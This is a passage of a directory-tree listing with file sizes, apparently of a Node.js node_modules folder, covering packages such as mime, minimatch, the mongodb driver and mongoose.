maxSafeInteger.js │   │   │   │   ├── [ 71] maxValue.d.ts │   │   │   │   └── [ 197] maxValue.js │   │   │   ├── [ 20] floor.d.ts │   │   │   ├── [ 77] floor.js │   │   │   ├── [ 80] isFinite.d.ts │   │   │   ├── [ 262] isFinite.js │   │   │   ├── [ 87] isInteger.d.ts │   │   │   ├── [ 410] isInteger.js │   │   │   ├── [ 22] isNaN.d.ts │   │   │   ├── [ 121] isNaN.js │   │   │   ├── [ 79] isNegativeZero.d.ts │   │   │   ├── [ 143] isNegativeZero.js │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [ 18] max.d.ts │   │   │   ├── [ 73] max.js │   │   │   ├── [ 18] min.d.ts │   │   │   ├── [ 73] min.js │   │   │   ├── [ 76] mod.d.ts │   │   │   ├── [ 218] mod.js │   │   │   ├── [2.6K] package.json │   │   │   ├── [ 18] pow.d.ts │   │   │   ├── [ 73] pow.js │   │   │   ├── [1.8K] README.md │   │   │   ├── [ 20] round.d.ts │   │   │   ├── [ 77] round.js │   │   │   ├── [ 57] sign.d.ts │   │   │   ├── [ 214] sign.js │   │   │   ├── [4.0K] test │   │   │   │   └── [6.2K] index.js │   │   │   └── [ 36] tsconfig.json │   │   ├── [4.0K] media-typer │   │   │   ├── [ 461] HISTORY.md │   │   │   ├── [6.2K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 759] package.json │   │   │   └── [2.3K] README.md │   │   ├── [4.0K] memory-pager │   │   │   ├── [3.6K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [ 595] package.json │   │   │   ├── [1.2K] README.md │   │   │   └── [1.4K] test.js │   │   ├── [4.0K] merge-descriptors │   │   │   ├── [ 363] HISTORY.md │   │   │   ├── [1.2K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.0K] package.json │   │   │   └── [1.3K] README.md │   │   ├── [4.0K] methods │   │   │   ├── [ 427] HISTORY.md │   │   │   ├── [1.0K] index.js │   │   │   ├── [1.2K] LICENSE │   │   │   ├── [ 947] package.json │   │   │   └── [1.7K] README.md │   │   ├── [4.0K] mime │   │   │   ├── [9.3K] CHANGELOG.md │   │   │   ├── [ 149] cli.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [2.7K] mime.js │   │   │   ├── [ 933] package.json │   │   │   ├── [2.1K] README.md │   │   │   ├── [4.0K] src │   │   │   │   ├── [1.3K] build.js │   │   │   │   └── [2.3K] test.js │   │   │   └── [ 31K] types.json │   │   ├── [4.0K] mime-db │   │   │   ├── [182K] db.json │   │   │   ├── [ 12K] HISTORY.md │   │   │   ├── [ 189] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.6K] package.json │   │   │   └── [4.0K] README.md │   │   ├── [4.0K] mime-types │   │   │   ├── [8.6K] HISTORY.md │   │   │   ├── [3.6K] index.js │   │   │   ├── [1.1K] LICENSE │   │   │   ├── [1.1K] package.json │   │   │   └── [3.4K] README.md │   │   ├── [4.0K] minimatch │   │   │   ├── [4.0K] lib │   │   │   │   └── [ 151] path.js │   │   │   ├── [ 775] LICENSE │   │   │   ├── [ 28K] minimatch.js │   │   │   ├── [ 720] package.json │   │   │   └── [8.3K] README.md │   │   ├── [4.0K] mongodb │   │   │   ├── [4.0K] etc │   │   │   │   └── [ 377] prepare.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [4.6K] admin.js │   │   │   │   ├── [1.9K] admin.js.map │   │   │   │   ├── [5.2K] bson.js │   │   │   │   ├── [2.1K] bson.js.map │   │   │   │   ├── [4.0K] bulk │   │   │   │   │   ├── [ 32K] common.js │   │   │   │   │   ├── [ 24K] common.js.map │   │   │   │   │   ├── [3.1K] ordered.js │   │   │   │   │   ├── [2.1K] ordered.js.map │   │   │   │   │   ├── [4.1K] unordered.js │   │   │   │   │   └── [3.0K] unordered.js.map │   │   │   │   ├── [ 15K] change_stream.js │   │   │   │   ├── [9.5K] change_stream.js.map │   │   │   │   ├── [4.0K] client-side-encryption │   │   │   │   │   ├── [ 13K] auto_encrypter.js │   │   │   │   │   ├── [6.8K] auto_encrypter.js.map │   │   │   │   │   ├── [ 23K] client_encryption.js │   │   │   │   │   ├── [9.9K] client_encryption.js.map │   │   │   │   │   ├── [2.7K] crypto_callbacks.js │   │   │   │   │   ├── [2.4K] crypto_callbacks.js.map │   │   │   │   │   ├── [4.4K] errors.js │   │   │   │   │   ├── [1.4K] errors.js.map │   │   │   │   │   ├── [3.7K] mongocryptd_manager.js │   │   │   │   │   ├── [1.9K] mongocryptd_manager.js.map │   │   │   │   │   ├── [4.0K] providers │   │   │   │   │   │   ├── [1.1K] aws.js │   │   │   │   │   │   ├── [ 621] aws.js.map │   │   │   │   │   │   ├── [4.6K] azure.js │   │   │   │   │   │   ├── [2.9K] azure.js.map │   │   │   │   │   │   ├── [ 615] gcp.js │   │   │   │   │   │   ├── [ 489] gcp.js.map │   │   │   │   │   │   ├── [1.6K] index.js │   │   │   │   │   │   └── [ 912] index.js.map │   │   │   │   │   ├── [ 17K] state_machine.js │   │   │   │   │   └── [ 10K] state_machine.js.map │   │   │   │   ├── [4.0K] cmap │   │   │   │   │   ├── [4.0K] auth │   │   │   │   │   │   ├── [1.4K] auth_provider.js │   │   │   │   │   │   ├── [ 816] auth_provider.js.map │   │   │   │   │   │   ├── [6.1K] aws_temporary_credentials.js │   │   │   │   │   │   ├── [2.8K] aws_temporary_credentials.js.map │   │   │   │   │   │   ├── [5.7K] gssapi.js │   │   │   │   │   │   ├── [4.4K] gssapi.js.map │   │   │   │   │   │   ├── [8.8K] mongo_credentials.js │   │   │   │   │   │   ├── [5.7K] mongo_credentials.js.map │   │   │   │   │   │   ├── [1.3K] mongocr.js │   │   │   │   │   │   ├── [1.1K] mongocr.js.map │   │   │   │   │   │   ├── [6.1K] mongodb_aws.js │   │   │   │   │   │   ├── [4.1K] mongodb_aws.js.map │   │   │   │   │   │   ├── [4.0K] mongodb_oidc │   │   │   │   │   │   │   ├── [2.9K] automated_callback_workflow.js │   │   │   │   │   │   │   ├── [1.8K] automated_callback_workflow.js.map │   │   │   │   │   │   │   ├── [2.8K] azure_machine_workflow.js │   │   │   │   │   │   │   ├── [1.7K] azure_machine_workflow.js.map │   │   │   │   │   │   │   ├── [6.0K] callback_workflow.js │   │   │   │   │   │   │   ├── [3.3K] callback_workflow.js.map │   │   │   │   │   │   │   ├── [1.6K] command_builders.js │   │   │   │   │   │   │   ├── [ 986] command_builders.js.map │   │   │   │   │   │   │   ├── [1.8K] gcp_machine_workflow.js │   │   │   │   │   │   │   ├── [1.1K] gcp_machine_workflow.js.map │   │   │   │   │   │   │   ├── [5.7K] human_callback_workflow.js │   │   │   │   │   │   │   ├── [3.1K] human_callback_workflow.js.map │   │   │   │   │   │   │   ├── [4.2K] machine_workflow.js │   │   │   │   │   │   │   ├── [2.6K] machine_workflow.js.map │   │   │   │   │   │   │   ├── [1.5K] token_cache.js │   │   │   │   │   │   │   ├── [1.2K] token_cache.js.map │   │   │   │   │   │   │   ├── [1.1K] token_machine_workflow.js │   │   │   │   │   │   │   └── [ 673] token_machine_workflow.js.map │   │   │   │   │   │   ├── [2.7K] mongodb_oidc.js │   │   │   │   │   │   ├── [1.7K] mongodb_oidc.js.map │   │   │   │   │   │   ├── [ 997] plain.js │   │   │   │   │   │   ├── [ 734] plain.js.map │   │   │   │   │   │   ├── [ 775] providers.js │   │   │   │   │   │   ├── [ 541] providers.js.map │   │   │   │   │   │   ├── [9.5K] scram.js │   │   │   │   │   │   ├── [8.6K] scram.js.map │   │   │   │   │   │   ├── [1.4K] x509.js │   │   │   │   │   │   └── [1.0K] x509.js.map │   │   │   │   │   ├── [8.4K] command_monitoring_events.js │   │   │   │   │   ├── [6.4K] command_monitoring_events.js.map │   │   │   │   │   ├── [ 18K] commands.js │   │   │   │   │   ├── [ 16K] commands.js.map │   │   │   │   │   ├── [ 21K] connection.js │   │   │   │   │   ├── [ 15K] connection.js.map │   │   │   │   │   ├── [5.9K] connection_pool_events.js │   │   │   │   │   ├── [3.0K] connection_pool_events.js.map │   │   │   │   │   ├── [ 24K] connection_pool.js │   │   │   │   │   ├── [ 17K] connection_pool.js.map │   │   │   │   │   ├── [ 15K] connect.js │   │   │   │   │   ├── [ 10K] connect.js.map │   │   │   │   │   ├── [3.4K] errors.js │   │   │   │   │   ├── [1.3K] errors.js.map │   │   │   │   │   ├── [4.0K] handshake │   │   │   │   │   │   ├── [8.8K] client_metadata.js │   │   │   │   │   │   └── [6.9K] client_metadata.js.map │   │   │   │   │   ├── [1.9K] metrics.js │   │   │   │   │   ├── [1.2K] metrics.js.map │   │   │   │   │   ├── [2.5K] stream_description.js │   │   │   │   │   ├── [1.9K] stream_description.js.map │   │   │   │   │   └── [4.0K] wire_protocol │   │   │   │   │   ├── [5.8K] compression.js │   │   │   │   │   ├── [4.2K] compression.js.map │   │   │   │   │   ├── [ 939] constants.js │   │   │   │   │   ├── [ 550] constants.js.map │   │   │   │   │   ├── [3.5K] on_data.js │   │   │   │   │   ├── [2.2K] on_data.js.map │   │   │   │   │   ├── [4.0K] on_demand │   │   │   │   │   │   ├── [8.9K] document.js │   │   │   │   │   │   └── [6.4K] document.js.map │   │   │   │   │   ├── [7.3K] responses.js │   │   │   │   │   ├── [5.5K] responses.js.map │   │   │   │   │   ├── [1.7K] shared.js │   │   │   │   │   └── [1.0K] shared.js.map │   │   │   │   ├── [ 28K] collection.js │   │   │   │   ├── [ 11K] collection.js.map │   │   │   │   ├── [ 43K] connection_string.js │   │   │   │   ├── [ 33K] connection_string.js.map │   │   │   │   ├── [6.6K] constants.js │   │   │   │   ├── [3.2K] constants.js.map │   │   │   │   ├── [4.0K] cursor │   │   │   │   │   ├── [ 28K] abstract_cursor.js │   │   │   │   │   ├── [ 18K] abstract_cursor.js.map │   │   │   │   │   ├── [5.4K] aggregation_cursor.js │   │   │   │   │   ├── [2.9K] aggregation_cursor.js.map │   │   │   │   │   ├── [4.0K] change_stream_cursor.js │   │   │   │   │   ├── [3.3K] change_stream_cursor.js.map │   │   │   │   │   ├── [ 15K] find_cursor.js │   │   │   │   │   ├── [7.8K] find_cursor.js.map │   │   │   │   │   ├── [1.3K] list_collections_cursor.js │   │   │   │   │   ├── [1018] list_collections_cursor.js.map │   │   │   │   │   ├── [1.2K] list_indexes_cursor.js │   │   │   │   │   ├── [ 924] list_indexes_cursor.js.map │   │   │   │   │   ├── [ 639] list_search_indexes_cursor.js │   │   │   │   │   ├── [ 539] list_search_indexes_cursor.js.map │   │   │   │   │   ├── [3.9K] run_command_cursor.js │   │   │   │   │   └── [2.1K] run_command_cursor.js.map │   │   │   │   ├── [ 15K] db.js │   │   │   │   ├── [6.0K] db.js.map │   │   │   │   ├── [4.9K] deps.js │   │   │   │   ├── [2.8K] deps.js.map │   │   │   │   ├── [4.8K] encrypter.js │   │   │   │   ├── [3.4K] encrypter.js.map │   │   │   │   ├── [ 39K] error.js │   │   │   │   ├── [ 15K] error.js.map │   │   │   │   ├── [1.1K] explain.js │   │   │   │   ├── [ 832] explain.js.map │   │   │   │   ├── [4.0K] gridfs │   │   │   │   │   ├── [ 10K] download.js │   │   │   │   │   ├── [8.9K] download.js.map │   │   │   │   │   ├── [5.0K] index.js │   │   │   │   │   ├── [2.9K] index.js.map │   │   │   │   │   ├── [ 11K] upload.js │   │   │   │   │   └── [8.9K] upload.js.map │   │   │   │   ├── [ 23K] index.js │   │   │   │   ├── [3.6K] index.js.map │   │   │   │   ├── [3.9K] mongo_client_auth_providers.js │   │   │   │   ├── [2.1K] mongo_client_auth_providers.js.map │   │   │   │   ├── [ 15K] mongo_client.js │   │   │   │   ├── [9.1K] mongo_client.js.map │   │   │   │   ├── [ 24K] mongo_logger.js │   │   │   │   ├── [ 17K] mongo_logger.js.map │   │   │   │   ├── [1.6K] mongo_types.js │   │   │   │   ├── [1.2K] mongo_types.js.map │   │   │   │   ├── [4.0K] operations │   │   │   │   │   ├── [3.8K] aggregate.js │   │   │   │   │   ├── [2.9K] aggregate.js.map │   │   │   │   │   ├── [1.3K] bulk_write.js │   │   │   │   │   ├── [1.2K] bulk_write.js.map │   │   │   │   │   ├── [1.2K] collections.js │   │   │   │   │   ├── [ 962] collections.js.map │   │   │   │   │   ├── [3.4K] command.js │   │   │   │   │   ├── [2.5K] command.js.map │   │   │   │   │   ├── [1.2K] count_documents.js │   │   │   │   │   ├── [1.2K] count_documents.js.map │   │   │   │   │   ├── [1.4K] count.js │   │   │   │   │   ├── [1.3K] count.js.map │   │   │   │   │   ├── [4.0K] create_collection.js │   │   │   │   │   ├── [2.8K] create_collection.js.map │   │   │   │   │   ├── [4.2K] delete.js │   │   │   │   │   ├── [3.6K] delete.js.map │   │   │   │   │   ├── [2.3K] distinct.js │   │   │   │   │   ├── [1.5K] distinct.js.map │   │   │   │   │   ├── [3.2K] drop.js │   │   │   │   │   ├── [2.3K] drop.js.map │   │   │   │   │   ├── [1.4K] estimated_document_count.js │   │   │   │   │   ├── [1.0K] estimated_document_count.js.map │   │   │   │   │   ├── [8.8K] execute_operation.js │   │   │   │   │   ├── [5.3K] execute_operation.js.map │   │   │   │   │   ├── [6.1K] find_and_modify.js │   │   │   │   │   ├── [4.3K] find_and_modify.js.map │   │   │   │   │   ├── [5.2K] find.js │   │   │   │   │   ├── [4.5K] find.js.map │   │   │   │   │   ├── [2.7K] get_more.js │   │   │   │   │   ├── [1.8K] get_more.js.map │   │   │   │   │   ├── [6.7K] indexes.js │   │   │   │   │   ├── [5.6K] indexes.js.map │   │   │   │   │   ├── [4.2K] insert.js │   │   │   │   │   ├── [3.2K] insert.js.map │   │   │   │   │   ├── [1.0K] is_capped.js │   │   │   │   │   ├── [ 907] is_capped.js.map │   │   │   │   │   ├── [1.6K] kill_cursors.js │   │   │   │   │   ├── [1.1K] kill_cursors.js.map │   │   │   │   │   ├── [1.9K] list_collections.js │   │   │   │   │   ├── [1.5K] list_collections.js.map │   │   │   │   │   ├── [1.5K] list_databases.js │   │   │   │   │   ├── [1.2K] list_databases.js.map │   │   │   │   │   ├── [2.4K] operation.js │   │   │   │   │   ├── [1.8K] operation.js.map │   │   │   │   │   ├── [1.0K] options_operation.js │   │   │   │   │   ├── [ 903] options_operation.js.map │   │   │   │   │   ├── [1.1K] profiling_level.js │   │   │   │   │   ├── [ 883] profiling_level.js.map │   │   │   │   │   ├── [ 806] remove_user.js │   │   │   │   │   ├── [ 663] remove_user.js.map │   │   │   │   │   ├── [1.5K] rename.js │   │   │   │   │   ├── [1.2K] rename.js.map │   │   │   │   │   ├── [1.6K] run_command.js │   │   │   │   │   ├── [1.3K] run_command.js.map │   │   │   │   │   ├── [4.0K] search_indexes │   │   │   │   │   │   ├── [1000] create.js │   │   │   │   │   │   ├── [ 797] create.js.map │   │   │   │   │   │   ├── [1.2K] drop.js │   │   │   │   │   │   ├── [ 904] drop.js.map │   │   │   │   │   │   ├── [ 935] update.js │   │   │   │   │   │   └── [ 721] update.js.map │   │   │   │   │   ├── [1.6K] set_profiling_level.js │   │   │   │   │   ├── [1.3K] set_profiling_level.js.map │   │   │   │   │   ├── [ 848] stats.js │   │   │   │   │   ├── [ 722] stats.js.map │   │   │   │   │   ├── [7.5K] update.js │   │   │   │   │   ├── [6.7K] update.js.map │   │   │   │   │   ├── [1.7K] validate_collection.js │   │   │   │   │   └── [1.5K] validate_collection.js.map │   │   │   │   ├── [2.4K] read_concern.js │   │   │   │   ├── [1.3K] read_concern.js.map │   │   │   │   ├── [7.9K] read_preference.js │   │   │   │   ├── [4.9K] read_preference.js.map │   │   │   │   ├── [4.0K] sdam │   │   │   │   │   ├── [1.8K] common.js │   │   │   │   │   ├── [1.1K] common.js.map │   │   │   │   │   ├── [4.4K] events.js │   │   │   │   │   ├── [2.2K] events.js.map │   │   │   │   │   ├── [ 22K] monitor.js │   │   │   │   │   ├── [ 16K] monitor.js.map │   │   │   │   │   ├── [7.9K] server_description.js │   │   │   │   │   ├── [5.9K] server_description.js.map │   │   │   │   │   ├── [ 14K] server.js │   │   │   │   │   ├── [ 10K] server.js.map │   │   │   │   │   ├── [3.1K] server_selection_events.js │   │   │   │   │   ├── [1.6K] server_selection_events.js.map │   │   │   │   │   ├── [ 10K] server_selection.js │   │   │   │   │   ├── [6.8K] server_selection.js.map │   │   │   │   │   ├── [3.2K] srv_polling.js │   │   │   │   │   ├── [2.6K] srv_polling.js.map │   │   │   │   │   ├── [ 18K] topology_description.js │   │   │   │   │   ├── [ 12K] topology_description.js.map │   │   │   │   │   ├── [ 31K] topology.js │   │   │   │   │   └── [ 22K] topology.js.map │   │   │   │   ├── [ 34K] sessions.js │   │   │   │   ├── [ 20K] sessions.js.map │   │   │   │   ├── [2.7K] sort.js │   │   │   │   ├── [3.1K] sort.js.map │   │   │   │   ├── [2.6K] timeout.js │   │   │   │   ├── [2.0K] timeout.js.map │   │   │   │   ├── [5.0K] transactions.js │   │   │   │   ├── [3.3K] transactions.js.map │   │   │   │   ├── [ 37K] utils.js │   │   │   │   ├── [ 27K] utils.js.map │   │   │   │   ├── [3.2K] write_concern.js │   │   │   │   └── [2.1K] write_concern.js.map │   │   │   ├── [ 11K] LICENSE.md │   │   │   ├── [290K] mongodb.d.ts │   │   │   ├── [6.7K] package.json │   │   │   ├── [ 15K] README.md │   │   │   ├── [4.0K] src │   │   │   │   ├── [4.9K] admin.ts │   │   │   │   ├── [4.2K] bson.ts │   │   │   │   ├── [4.0K] bulk │   │   │   │   │   ├── [ 38K] common.ts │   │   │   │   │   ├── [3.0K] ordered.ts │   │   │   │   │   └── [3.9K] unordered.ts │   │   │   │   ├── [ 32K] change_stream.ts │   │   │   │   ├── [4.0K] client-side-encryption │   │   │   │   │   ├── [ 20K] auto_encrypter.ts │   │   │   │   │   ├── [ 29K] client_encryption.ts │   │   │   │   │   ├── [2.5K] crypto_callbacks.ts │   │   │   │   │   ├── [3.8K] errors.ts │   │   │   │   │   ├── [3.5K] mongocryptd_manager.ts │   │   │   │   │   ├── [4.0K] providers │   │   │   │   │   │   ├── [1.0K] aws.ts │   │   │   │   │   │   ├── [4.9K] azure.ts │   │   │   │   │   │   ├── [ 508] gcp.ts │   │   │   │   │   │   └── [4.5K] index.ts │   │   │   │   │   └── [ 18K] state_machine.ts │   │   │   │   ├── [4.0K] cmap │   │   │   │   │   ├── [4.0K] auth │   │   │   │   │   │   ├── [2.1K] auth_provider.ts │   │   │   │   │   │   ├── [6.0K] aws_temporary_credentials.ts │   │   │   │   │   │   ├── [5.9K] gssapi.ts │   │   │   │   │   │   ├── [9.6K] mongo_credentials.ts │   │   │   │   │   │   ├── [1.1K] mongocr.ts │   │   │   │   │   │   ├── [5.9K] mongodb_aws.ts │   │   │   │   │   │   ├── [4.0K] mongodb_oidc │   │   │   │   │   │   │   ├── [2.8K] automated_callback_workflow.ts │   │   │   │   │   │   │   ├── [2.7K] azure_machine_workflow.ts │   │   │   │   │   │   │   ├── [6.4K] callback_workflow.ts │   │   │   │   │   │   │   ├── [1.6K] command_builders.ts │   │   │   │   │   │   │   ├── [1.7K] gcp_machine_workflow.ts │   │   │   │   │   │   │   ├── [5.4K] human_callback_workflow.ts │   │   │   │   │   │   │   ├── [4.6K] machine_workflow.ts │   │   │   │   │   │   │   ├── [1.4K] token_cache.ts │   │   │   │   │   │   │   └── [ 910] token_machine_workflow.ts │   │   │   │   │   │   ├── [5.7K] mongodb_oidc.ts │   │   │   │   │   │   ├── [ 805] plain.ts │   │   │   │   │   │   ├── [ 663] providers.ts │   │   │   │   │   │   ├── [9.5K] scram.ts │   │   │   │   │   │   └── [1.4K] x509.ts │   │   │   │   │   ├── [9.3K] command_monitoring_events.ts │   │   │   │   │   ├── [ 20K] commands.ts │   │   │   │   │   ├── [6.7K] connection_pool_events.ts │   │   │   │   │   ├── [ 26K] connection_pool.ts │   │   │   │   │   ├── [ 25K] connection.ts │   │   │   │   │   ├── [ 15K] connect.ts │   │   │   │   │   ├── [3.2K] errors.ts │   │   │   │   │   ├── [4.0K] handshake │   │   │   │   │   │   └── [9.4K] client_metadata.ts │   │   │   │   │   ├── [1.5K] metrics.ts │   │   │   │   │   ├── [2.8K] stream_description.ts │   │   │   │   │   └── [4.0K] wire_protocol │   │   │   │   │   ├── [5.6K] compression.ts │   │   │   │   │   ├── [ 509] constants.ts │   │   │   │   │   ├── [3.3K] on_data.ts │   │   │   │   │   ├── [4.0K] on_demand │   │   │   │   │   │   └── [ 11K] document.ts │   │   │   │   │   ├── [7.4K] responses.ts │   │   │   │   │   └── [1.8K] shared.ts │   │   │   │   ├── [ 39K] collection.ts │   │   │   │   ├── [ 40K] connection_string.ts │   │   │   │   ├── [5.2K] constants.ts │   │   │   │   ├── [4.0K] cursor │   │   │   │   │   ├── [ 31K] abstract_cursor.ts │   │   │   │   │   ├── [6.7K] aggregation_cursor.ts │   │   │   │   │   ├── [5.3K] change_stream_cursor.ts │   │   │   │   │   ├── [ 15K] find_cursor.ts │   │   │   │   │   ├── [1.4K] list_collections_cursor.ts │   │   │   │   │   ├── [1.2K] list_indexes_cursor.ts │   │   │   │   │   ├── [ 694] list_search_indexes_cursor.ts │   │   │   │   │   └── [4.6K] run_command_cursor.ts │   │   │   │   ├── [ 19K] db.ts │   │   │   │   ├── [8.5K] deps.ts │   │   │   │   ├── [4.7K] encrypter.ts │   │   │   │   ├── [ 37K] error.ts │   │   │   │   ├── [1.5K] explain.ts │   │   │   │   ├── [4.0K] gridfs │   │   │   │   │   ├── [ 12K] download.ts │   │   │   │   │   ├── [6.6K] index.ts │   │   │   │   │   └── [ 13K] upload.ts │   │   │   │   ├── [ 17K] index.ts │   │   │   │   ├── [3.6K] mongo_client_auth_providers.ts │   │   │   │   ├── [ 33K] mongo_client.ts │   │   │   │   ├── [ 30K] mongo_logger.ts │   │   │   │   ├── [ 20K] mongo_types.ts │   │   │   │   ├── [4.0K] operations │   │   │   │   │   ├── [5.1K] aggregate.ts │   │   │   │   │   ├── [1.6K] bulk_write.ts │   │   │   │   │   ├── [1.3K] collections.ts │   │   │   │   │   ├── [4.7K] command.ts │   │   │   │   │   ├── [1.5K] count_documents.ts │   │   │   │   │   ├── [1.9K] count.ts │   │   │   │   │   ├── [7.2K] create_collection.ts │   │   │   │   │   ├── [5.5K] delete.ts │   │   │   │   │   ├── [2.6K] distinct.ts │   │   │   │   │   ├── [3.5K] drop.ts │   │   │   │   │   ├── [1.7K] estimated_document_count.ts │   │   │   │   │   ├── [9.4K] execute_operation.ts │   │   │   │   │   ├── [9.7K] find_and_modify.ts │   │   │   │   │   ├── [8.4K] find.ts │   │   │   │   │   ├── [3.5K] get_more.ts │   │   │   │   │   ├── [ 13K] indexes.ts │   │   │   │   │   ├── [5.5K] insert.ts │   │   │   │   │   ├── [1.1K] is_capped.ts │   │   │   │   │   ├── [1.8K] kill_cursors.ts │   │   │   │   │   ├── [3.2K] list_collections.ts │   │   │   │   │   ├── [2.4K] list_databases.ts │   │   │   │   │   ├── [3.7K] operation.ts │   │   │   │   │   ├── [1.2K] options_operation.ts │   │   │   │   │   ├── [1.2K] profiling_level.ts │   │   │   │   │   ├── [ 964] remove_user.ts │   │   │   │   │   ├── [1.6K] rename.ts │   │   │   │   │   ├── [1.9K] run_command.ts │   │   │   │   │   ├── [4.0K] search_indexes │   │   │   │   │   │   ├── [1.3K] create.ts │   │   │   │   │   │   ├── [1.2K] drop.ts │   │   │   │   │   │   └── [ 931] update.ts │   │   │   │   │   ├── [1.8K] set_profiling_level.ts │   │   │   │   │   ├── [1.1K] stats.ts │   │   │   │   │   ├── [ 10K] update.ts │   │   │   │   │   └── [2.0K] validate_collection.ts │   │   │   │   ├── [2.4K] read_concern.ts │   │   │   │   ├── [8.7K] read_preference.ts │   │   │   │   ├── [4.0K] sdam │   │   │   │   │   ├── [2.2K] common.ts │   │   │   │   │   ├── [5.3K] events.ts │   │   │   │   │   ├── [ 22K] monitor.ts │   │   │   │   │   ├── [8.6K] server_description.ts │   │   │   │   │   ├── [4.2K] server_selection_events.ts │   │   │   │   │   ├── [ 11K] server_selection.ts │   │   │   │   │   ├── [ 16K] server.ts │   │   │   │   │   ├── [3.3K] srv_polling.ts │   │   │   │   │   ├── [ 18K] topology_description.ts │   │   │   │   │   └── [ 34K] topology.ts │   │   │   │   ├── [ 34K] sessions.ts │   │   │   │   ├── [3.5K] sort.ts │   │   │   │   ├── [2.7K] timeout.ts │   │   │   │   ├── [5.5K] transactions.ts │   │   │   │   ├── [ 37K] utils.ts │   │   │   │   └── [5.1K] write_concern.ts │   │   │   └── [1.3K] tsconfig.json │   │   ├── [4.0K] mongodb-connection-string-url │   │   │   ├── [4.0K] lib │   │   │   │   ├── [2.5K] index.d.ts │   │   │   │   ├── [8.0K] index.js │   │   │   │   ├── [6.8K] index.js.map │   │   │   │   ├── [ 423] redact.d.ts │   │   │   │   ├── [4.0K] redact.js │   │   │   │   └── [2.5K] redact.js.map │   │   │   ├── [ 11K] LICENSE │   │   │   ├── [1.7K] package.json │   │   │   └── [ 882] README.md │   │   ├── [4.0K] @mongodb-js │   │   │   └── [4.0K] saslprep │   │   │   ├── [4.0K] dist │   │   │   │   ├── [ 162] browser.d.ts │   │   │   │   ├── [ 161] browser.d.ts.map │   │   │   │   ├── [ 641] browser.js │   │   │   │   ├── [ 370] browser.js.map │   │   │   │   ├── [ 116] code-points-data-browser.d.ts │   │   │   │   ├── [ 192] code-points-data-browser.d.ts.map │   │   │   │   ├── [547K] code-points-data-browser.js │   │   │   │   ├── [ 240] code-points-data-browser.js.map │   │   │   │   ├── [ 120] code-points-data.d.ts │   │   │   │   ├── [ 137] code-points-data.d.ts.map │   │   │   │   ├── [2.8K] code-points-data.js │   │   │   │   ├── [ 222] code-points-data.js.map │   │   │   │   ├── [ 389] code-points-src.d.ts │   │   │   │   ├── [ 323] code-points-src.d.ts.map │   │   │   │   ├── [ 28K] code-points-src.js │   │   │   │   ├── [ 30K] code-points-src.js.map │   │   │   │   ├── [ 61] generate-code-points.d.ts │   │   │   │   ├── [ 134] generate-code-points.d.ts.map │   │   │   │   ├── [3.9K] generate-code-points.js │   │   │   │   ├── [2.2K] generate-code-points.js.map │   │   │   │   ├── [ 541] index.d.ts │   │   │   │   ├── [ 414] index.d.ts.map │   │   │   │   ├── [2.9K] index.js │   │   │   │   ├── [2.9K] index.js.map │   │   │   │   ├── [ 481] memory-code-points.d.ts │   │   │   │   ├── [ 214] memory-code-points.d.ts.map │   │   │   │   ├── [1.1K] memory-code-points.js │   │   │   │   ├── [ 818] memory-code-points.js.map │   │   │   │   ├── [ 294] node.d.ts │   │   │   │   ├── [ 244] node.d.ts.map │   │   │   │   ├── [ 651] node.js │   │   │   │   ├── [ 397] node.js.map │   │   │   │   ├── [ 101] util.d.ts │   │   │   │   ├── [ 179] util.d.ts.map │   │   │   │   ├── [ 302] util.js │   │   │   │   └── [ 402] util.js.map │   │   │   ├── [1.0K] LICENSE │   │   │   ├── [2.6K] package.json │   │   │   └── [ 735] readme.md │   │   ├── [4.0K] mongoose │   │   │   ├── [ 93] browser.js │   │   │   ├── [4.0K] dist │   │   │   │   └── [848K] browser.umd.js │   │   │   ├── [2.5K] index.js │   │   │   ├── [4.0K] lib │   │   │   │   ├── [ 35K] aggregate.js │   │   │   │   ├── [2.7K] browserDocument.js │   │   │   │   ├── [3.0K] browser.js │   │   │   │   ├── [4.0K] cast │   │   │   │   │   ├── [ 708] bigint.js │   │   │   │   │   ├── [ 860] boolean.js │   │   │   │   │   ├── [1.1K] date.js │   │   │   │   │   ├── [ 976] decimal128.js │   │   │   │   │   ├── [ 911] number.js │   │   │   │   │   ├── [ 601] objectid.js │   │   │   │   │   └── [ 995] string.js │   │   │   │   ├── [ 14K] cast.js │   │   │   │   ├── [6.7K] collection.js │   │   │   │   ├── [ 50K] connection.js │   │   │   │   ├── [ 547] connectionState.js │   │   │   │   ├── [ 542] constants.js │   │   │   │   ├── [4.0K] cursor │   │   │   │   │   ├── [ 11K] aggregationCursor.js │   │   │   │   │   ├── [3.4K] changeStream.js │   │   │   │   │   └── [ 15K] queryCursor.js │   │   │   │   ├── [155K] document.js │   │   │   │   ├── [ 492] documentProvider.js │   │   │   │   ├── [ 161] driver.js │   │   │   │   ├── [4.0K] drivers │   │   │   │   │   ├── [4.0K] browser │   │   │   │   │   │   ├── [ 152] binary.js │   │   │   │   │   │   ├── [ 79] decimal128.js │   │   │   │   │   │   ├── [ 257] index.js │   │   │   │   │   │   └── [ 478] objectid.js │   │   │   │   │   ├── [4.0K] node-mongodb-native │   │   │   │   │   │   ├── [ 14K] collection.js │   │   │   │   │   │   ├── [ 12K] connection.js │   │   │   │   │   │   └── [ 135] index.js │   │   │   │   │   └── [ 21] SPEC.md │   │   │   │   ├── [4.0K] error │   │   │   │   │   ├── [ 480] browserMissingSchema.js │   │   │   │   │   ├── [ 973] bulkWriteError.js │   │   │   │   │   ├── [3.8K] cast.js │   │   │   │   │   ├── [ 508] createCollectionsError.js │   │   │   │   │   ├── [1.0K] divergentArray.js │   │   │   │   │   ├── [ 873] eachAsyncMultiError.js │   │   │   │   │   ├── [7.3K] index.js │   │   │   │   │   ├── [ 600] invalidSchemaOption.js │   │   │   │   │   ├── [1.9K] messages.js │   │   │   │   │   ├── [ 569] missingSchema.js │   │   │   │   │   ├── [ 192] mongooseError.js │   │   │   │   │   ├── [1.0K] notFound.js │   │   │   │   │   ├── [ 650] objectExpected.js │   │   │   │   │   ├── [ 716] objectParameter.js │   │   │   │   │   ├── [ 499] overwriteModel.js │   │   │   │   │   ├── [ 536] parallelSave.js │   │   │   │   │   ├── [ 561] parallelValidate.js │   │   │   │   │   ├── [1.9K] serverSelection.js │   │   │   │   │   ├── 